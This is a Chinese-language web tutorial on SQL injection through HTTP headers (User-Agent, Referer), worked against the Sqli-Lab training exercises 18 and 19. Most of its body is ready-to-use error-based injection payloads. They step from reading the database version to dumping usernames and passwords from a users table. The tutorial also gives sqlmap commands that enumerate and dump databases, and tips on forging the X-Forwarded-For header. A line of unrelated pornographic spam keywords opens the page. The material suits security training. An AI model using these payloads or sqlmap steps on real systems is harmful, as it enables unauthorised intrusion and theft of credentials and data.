亚洲乱码中文字幕综合,中国熟女仑乱hd,亚洲精品乱拍国产一区二区三区,一本大道卡一卡二卡三乱码全集资源,又粗又黄又硬又爽的免费视频

圖文詳解HTTP頭中的SQL注入

 更新時(shí)間:2021年12月12日 09:16:52   作者:山川綠水  
HTTP頭字段是超文本傳輸協(xié)議(HTTP)中請(qǐng)求和響應(yīng)的部分信息,它們定義了HTTP傳輸?shù)牟僮鲄?shù),下面這篇文章主要給大家介紹了關(guān)于HTTP頭中SQL注入的相關(guān)資料,需要的朋友可以參考下

HTTP頭中的SQL注入

1.HTTP頭中的注入介紹

在安全意識(shí)越來越重視的情況下,很多網(wǎng)站都在防止漏洞的發(fā)生。例如SQL注入中,用戶提交的參數(shù)都會(huì)被代碼中的某些措施進(jìn)行過濾。

過濾掉用戶直接提交的參數(shù),但是對(duì)于HTTP頭中提交的內(nèi)容很有可能就沒有進(jìn)行過濾。
例如HTTP頭中的User-Agent、Referer、Cookies等。

2.HTTP User-Agent注入

就拿Sqli-Lab-Less18

這里的User-Agent是可控的,因此存在HTTP User-Agent注入

INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)

Payload內(nèi)容:

updatexml(xml_document,xpath_string,new_value):

第一個(gè)參數(shù):XML文檔對(duì)象名稱。

第二個(gè)參數(shù):XPath字符串。

第三個(gè)參數(shù):替換查找到的符合條件的數(shù)據(jù)。

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫(kù)

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫(kù)security,獲取數(shù)據(jù)表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容

當(dāng)我們使用下面的語句時(shí),會(huì)報(bào)錯(cuò)Subquery returns more than 1 ro

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

3.HTTP Referer注入

Sqli-Lab19為例

' or '1'='1

1.查看版本

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1

2.查看數(shù)據(jù)庫(kù)

' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

3.得到數(shù)據(jù)庫(kù)security,獲取數(shù)據(jù)表

' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1) or '1'='1

4.得到數(shù)據(jù)表emails,referers,uagents,users,我們使用的是users表,獲取字段名

' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security'and table_name='users'),0x7e),1) or '1'='1

5.獲取字段內(nèi)容

當(dāng)我們使用下面的語句時(shí),會(huì)報(bào)錯(cuò)Subquery returns more than 1 row

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users),0x7e),1) or '1'='1

返回的數(shù)據(jù)有多行,我們可以使用limit限制其只返回一條數(shù)據(jù)

' and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from users limit 0,1),0x7e),1) or '1'='1

4.sqlmap安全測(cè)試

抓取數(shù)據(jù)包,將抓取的全部?jī)?nèi)容,放到文本文檔中,并且在有可能存在注入點(diǎn)的地方加入星號(hào)(*)

1.爆破數(shù)據(jù)庫(kù)

python2 sqlmap.py -r 1.txt --dbs

得到數(shù)據(jù)庫(kù)信息

2.爆破數(shù)據(jù)表

python2 sqlmap.py -r 1.txt -D security --tables

得到數(shù)據(jù)表的信息

3.爆破字段及內(nèi)容

python2 sqlmap.py -r 1.txt -D security -T users --dump

得到數(shù)據(jù)內(nèi)容

PS

1.HTTP User-Agent注入HTTP Referer注入屬于放包攻擊,我們?cè)诜虐倪^程中,必須使用正確的用戶名和密碼;

2.如果探測(cè)出是HTTP頭注入,在使用sqlmap跑的過程中,在末尾加上星號(hào)(*),可以提高滲透測(cè)試的效率

5.HTTP頭部詳解

User-Agent:使得服務(wù)器能夠識(shí)別客戶使用的操作系統(tǒng),游覽器版本等.(很多數(shù)據(jù)量大的網(wǎng)站中會(huì)記錄客戶使用的操作系統(tǒng)或?yàn)g覽器版本等存入數(shù)據(jù)庫(kù)中)

Cookie:網(wǎng)站為了辨別用戶身份、進(jìn)行 session 跟蹤而儲(chǔ)存在用戶本地終端上的數(shù)據(jù)(通常經(jīng)過加密).

X-Forwarded-For:簡(jiǎn)稱XFF頭,它代表客戶端,也就是HTTP的請(qǐng)求端真實(shí)的IP,(通常一些網(wǎng)站的防注入功能會(huì)記錄請(qǐng)求端真實(shí)IP地址并寫入數(shù)據(jù)庫(kù)or某文件[通過修改XXF頭可以實(shí)現(xiàn)偽造IP])

Clien-IP:同上,不做過多介紹.

Rerferer:瀏覽器向 WEB 服務(wù)器表明自己是從哪個(gè)頁面鏈接過來的.

Host:客戶端指定自己想訪問的WEB服務(wù)器的域名/IP 地址和端口號(hào)(這個(gè)我本人還沒碰到過,不過有真實(shí)存在的案例還是寫上吧).

總結(jié)

到此這篇關(guān)于HTTP頭中SQL注入的文章就介紹到這了,更多相關(guān)HTTP頭中SQL注入內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

相關(guān)文章

最新評(píng)論